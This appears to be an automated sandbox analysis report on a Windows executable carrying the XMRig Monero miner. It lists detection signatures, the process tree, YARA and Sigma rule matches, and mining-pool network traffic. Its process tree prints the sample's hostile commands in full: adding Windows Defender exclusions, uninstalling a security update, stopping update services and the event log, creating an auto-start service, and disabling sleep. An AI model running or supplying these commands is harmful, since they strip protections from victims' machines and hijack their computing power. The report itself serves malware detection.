Edit tour

Windows Analysis Report
nW2oopMIdg.exe

Overview

General Information

Sample name:	nW2oopMIdg.exe renamed because original name is a hash value
Original sample name:	35a8d03f86ae6f92424d6424fe0805d338eccedff177b400182102685299022c.exe
Analysis ID:	1587400
MD5:	990a3f3b1273510f210fb9b541da219f
SHA1:	33e536c5b4bdb6f6042f93445dffd8a3ad488e8b
SHA256:	35a8d03f86ae6f92424d6424fe0805d338eccedff177b400182102685299022c
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

nW2oopMIdg.exe (PID: 1984 cmdline: "C:\Users\user\Desktop\nW2oopMIdg.exe" MD5: 990A3F3B1273510F210FB9B541DA219F)

powershell.exe (PID: 5988 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1896 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5528 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 3208 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1560 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6464 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6180 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6632 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1976 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2200 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6616 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7084 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 1276 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 564 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 640 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 924 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 992 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

sc.exe (PID: 2992 cmdline: C:\Windows\system32\sc.exe delete "GeekBrains" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3056 cmdline: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5436 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5528 cmdline: C:\Windows\system32\sc.exe start "GeekBrains" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Lightshot.exe (PID: 3524 cmdline: C:\ProgramData\Screenshots\Lightshot.exe MD5: 990A3F3B1273510F210FB9B541DA219F)

powershell.exe (PID: 6572 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5456 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5836 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 1868 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2992 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6536 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 348 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1896 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1120 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6524 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6716 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6300 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7056 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 444 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 732 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1032 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1056 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dialer.exe (PID: 2284 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 4508 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: dialer.exe PID: 4508	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: dialer.exe PID: 4508	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x224ff:$a1: mining.set_target 0x1eca8:$a2: XMRIG_HOSTNAME 0x1fa20:$a3: Usage: xmrig [OPTIONS] 0x1ec89:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
65.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
65.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
65.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
65.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\nW2oopMIdg.exe", ParentImage: C:\Users\user\Desktop\nW2oopMIdg.exe, ParentProcessId: 1984, ParentProcessName: nW2oopMIdg.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 1976, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\nW2oopMIdg.exe", ParentImage: C:\Users\user\Desktop\nW2oopMIdg.exe, ParentProcessId: 1984, ParentProcessName: nW2oopMIdg.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5988, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 1276, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 924, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\nW2oopMIdg.exe", ParentImage: C:\Users\user\Desktop\nW2oopMIdg.exe, ParentProcessId: 1984, ParentProcessName: nW2oopMIdg.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto", ProcessId: 3056, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\nW2oopMIdg.exe", ParentImage: C:\Users\user\Desktop\nW2oopMIdg.exe, ParentProcessId: 1984, ParentProcessName: nW2oopMIdg.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5988, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\nW2oopMIdg.exe", ParentImage: C:\Users\user\Desktop\nW2oopMIdg.exe, ParentProcessId: 1984, ParentProcessName: nW2oopMIdg.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 5436, ProcessName: sc.exe

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T10:36:03.317801+0100	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.5	63299	1.1.1.1	53	UDP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T10:35:51.244025+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.5	49704	141.94.96.71	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Screenshots\Lightshot.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: nW2oopMIdg.exe	Virustotal: Detection: 62%			Perma Link
Source: nW2oopMIdg.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 4508, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.94.96.71:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 4d 33 39 44 4d 31 44 51 6a 46 4b 55 6e 54 33 74 32 4b 69 48 4e 55 36 71 51 6a 6d 52 46 37 39 4a 33 31 66 53 62 74 42 4e 61 66 55 58 39 42 32 67 41 77 79 73 6a 4c 46 41 44 51 35 6d 68 71 52 34 4d 36 43 38 4a 4a 52 46 58 77 4c 50 78 44 48 61 70 75 43 72 48 45 33 6d 52 42 6a 54 77 22 2c 22 70 61 73 73 22 3a 22 55 6c 74 69 6d 61 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 22 3a 22 22 2c 22 61 6c 67 6f 22 3a 5b 22 72 78 2f 30 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 66 61 73 74 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6e 2f 72 74 6f 22 2c 22 63 6e 2f 72 77 7a 22 2c 22 63 6e 2f 7a 6c 73 22 2c 22 63 6e 2f 64 6f 75 62 6c 65 22 2c 22 63 6e 2f 63 63 78 22 2c 22 63 6e 2d 6c 69 74 65 2f 31 22 2c 22 63 6e 2d 68 65 61 76 79 2f 30 22 2c 22 63 6e 2d 68 65 61 76 79 2f 74 75 62 65 22 2c 22 63 6e 2d 68 65 61 76 79 2f 78 68 76 22 2c 22 63 6e 2d 70 69 63 6f 22 2c 22 63 6e 2d 70 69 63 6f 2f 74 6c 6f 22 2c 22 63 6e 2f 75 70 78 32 22 2c 22 63 6e 2f 67 70 75 22 2c 22 63 6e 2f 31 22 2c 22 72 78 2f 77 6f 77 22 2c 22 72 78 2f 61 72 71 22 2c 22 72 78 2f 67 72 61 66 74 22 2c 22 72 78 2f 73 66 78 22 2c 22 72 78 2f 6b 65 76 61 22 2c 22 70 61 6e 74 68 65 72 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 76 32 22 2c 22 61 72 67 6f 6e 32 2f 6e 69 6e 6a 61 22 2c 22 67 68 6f 73 74 72 69 64 65 72 22 5d 7d 7d 0a data ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46m39dm1dqjfkunt3t2kihnu6qqjmrf79j31fsbtbnafux9b2gawysjlfadq5mhqr4m6c8jjrfxwlpxdhapucrhe3mrbjtw","pass":"ultima","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}

Found strings related to Crypto-Mining

Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe	String found in binary or memory: cryptonight-monerov7
Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: dialer.exe, 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: nW2oopMIdg.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Lightshot.exe, 00000024.00000003.2104682850.000001E0A9560000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85898DCE0 FindFirstFileExW,	31_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE86DCE0 FindFirstFileExW,	39_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CDCE0 FindFirstFileExW,	40_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA4DCE0 FindFirstFileExW,	41_2_000001160CA4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10ADCE0 FindFirstFileExW,	66_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93DCE0 FindFirstFileExW,	67_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854DCE0 FindFirstFileExW,	68_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531DCE0 FindFirstFileExW,	69_2_000001D26531DCE0

Source: global traffic	TCP traffic: 192.168.2.5:57360 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:53943 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 141.94.96.71 141.94.96.71

Source: Joe Sandbox View

